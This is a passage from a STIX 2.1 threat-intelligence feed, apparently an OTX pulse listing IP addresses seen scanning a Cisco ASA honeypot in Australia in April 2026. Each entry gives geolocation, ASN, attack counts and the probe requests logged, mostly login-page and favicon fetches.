      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:20:11.000Z",
      "valid_until": "2026-05-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-09T03:12:15.352Z",
          "last_seen": "2026-04-09T03:12:15.352Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--73d7de6a-5848-494e-aeb8-bd162e193caa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:20:11.000Z",
      "valid_until": "2026-05-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-09T03:14:12.656Z",
          "last_seen": "2026-04-09T03:14:12.656Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--34502983-4b02-4b1a-835a-3c4a12e131fa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:20:11.000Z",
      "valid_until": "2026-05-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-09T03:12:31.388Z",
          "last_seen": "2026-04-09T03:12:31.388Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--e8e91247-3014-49fe-adf9-e5f709897c47",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:20:11.000Z",
      "valid_until": "2026-05-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-09T03:10:40.614Z",
          "last_seen": "2026-04-09T03:10:40.614Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--7f4cbc6e-6665-4c22-9c0e-d4e701e01200",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:20:11.000Z",
      "valid_until": "2026-05-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-09T03:08:18.890Z",
          "last_seen": "2026-04-09T03:08:18.890Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--91e189b5-7d09-407b-90f3-0617efa93328",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T03:20:11.000Z",
      "valid_until": "2026-05-11T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-09T03:10:26.605Z",
          "last_seen": "2026-04-09T03:10:26.605Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b99b2438-f37f-4cd5-af3a-43f3d4370440",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.118.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T04:20:10.000Z",
      "valid_until": "2026-05-11T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-09T03:31:33.130Z",
          "last_seen": "2026-04-29T20:17:29.000Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--11b5122e-f83c-424a-838d-9c3568325695",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.71.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T04:20:10.000Z",
      "valid_until": "2026-05-11T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-09T03:23:37.894Z",
          "last_seen": "2026-04-25T13:36:45.283Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-09T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--25085067-3609-4394-b110-197b3b381071",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T04:20:10.000Z",
      "valid_until": "2026-05-11T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-09T03:26:25.312Z",
          "last_seen": "2026-04-18T12:50:39.732Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T01:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--545b305c-46c6-4edf-aef8-649716ad2c62",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '107.20.126.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T01:20:12.000Z",
      "valid_until": "2026-05-12T01:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 4,
          "first_seen": "2026-04-08T00:53:22.251Z",
          "last_seen": "2026-04-27T00:57:53.190Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T01:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--80fa8f41-387a-455f-898c-3a4d55c53af6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T01:20:12.000Z",
      "valid_until": "2026-05-12T01:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-10T01:15:59.821Z",
          "last_seen": "2026-04-18T21:19:07.939Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T01:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--b220cef5-bd5b-4f4e-abe2-33acd7ea592d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '165.154.182.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T01:20:12.000Z",
      "valid_until": "2026-05-12T01:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 4,
          "first_seen": "2026-04-10T01:04:24.982Z",
          "last_seen": "2026-04-10T01:04:26.402Z",
          "country": "United States",
          "country_code": "US",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T01:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 142002 (Scloud Pte Ltd)",
      "id": "indicator--b3aa68b4-8d58-42e1-b504-b76ef82d88a4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '165.154.206.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T01:20:12.000Z",
      "valid_until": "2026-05-12T01:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 4,
          "first_seen": "2026-04-10T01:03:09.624Z",
          "last_seen": "2026-04-10T01:03:13.982Z",
          "country": "United States",
          "country_code": "US",
          "asn": 142002,
          "as_org": "Scloud Pte Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"t3 12.1.2\" 400 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 400"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T01:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8d4245cc-ae36-4611-8c6c-68137ad8542e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.102.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T01:20:12.000Z",
      "valid_until": "2026-05-12T01:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-10T01:03:49.918Z",
          "last_seen": "2026-04-21T19:47:41.105Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T01:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--965259fc-ea15-4572-b538-5b758290d6d5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.69.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T01:20:12.000Z",
      "valid_until": "2026-05-12T01:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-10T00:58:49.926Z",
          "last_seen": "2026-04-28T01:13:17.644Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T01:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--503695b9-61a2-4a09-9045-aa6e09faa1ec",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.92.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T01:20:12.000Z",
      "valid_until": "2026-05-12T01:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-10T00:49:36.226Z",
          "last_seen": "2026-04-29T12:27:12.606Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T01:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--356f30f6-e511-4a1e-930d-07b98cdd73da",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '54.164.79.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T01:20:12.000Z",
      "valid_until": "2026-05-12T01:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-10T01:00:13.593Z",
          "last_seen": "2026-04-10T01:00:16.596Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T01:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--481f4022-a578-4c8b-a172-b99bb31b4920",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T01:20:12.000Z",
      "valid_until": "2026-05-12T01:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 36,
          "first_seen": "2026-04-10T01:06:23.363Z",
          "last_seen": "2026-04-30T04:45:57.324Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--5ba3e0d0-ddcf-4321-aff5-d2422c62edb2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.166.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T02:20:11.000Z",
      "valid_until": "2026-05-12T02:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-10T02:18:44.214Z",
          "last_seen": "2026-04-26T00:54:22.303Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--4bc14156-75ed-440b-b06a-26080a23286c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T02:20:11.000Z",
      "valid_until": "2026-05-12T02:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-10T02:00:06.327Z",
          "last_seen": "2026-04-27T10:43:13.104Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--22ff5707-3e25-4ee7-9119-0daaea562c2a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T02:20:11.000Z",
      "valid_until": "2026-05-12T02:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-10T01:33:31.019Z",
          "last_seen": "2026-04-29T11:52:06.203Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
